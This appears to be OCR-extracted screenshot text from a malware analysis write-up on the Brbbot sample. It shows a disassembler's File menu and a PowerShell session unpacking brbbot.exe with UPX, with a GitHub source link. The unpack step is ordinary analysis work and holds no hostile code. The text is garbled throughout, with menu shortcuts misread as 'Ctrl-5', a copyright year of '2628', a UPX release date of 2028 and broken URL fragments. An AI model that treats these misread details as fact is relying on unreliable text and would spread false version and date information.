0000
0000
o000
o000
o000
o000
0004
0000
0050
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B [UMSAVED] brbbot.exe - Rev
File Edit View Tools Help

New Ctrl-N
Open Ctrl-O
Open Recent >
Save Ctrl-5
Save As

Close Ctrl-wW
Close All

Close Others

Exit

e Unpack using UPX tool:

LN Administrator: Windows PowerShell

C:\Users\IEUser\Desktop> upx brbbot_unpacked.exe .\brbbot.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2628
UPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2028

winbd/pe brbbot_unpacked. exe

Unpacked 1 file.
PS C:\Users\IEUser\Desktop>

Source: https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Brbbot/Brbbot.md
ps://¢ ymig ) !
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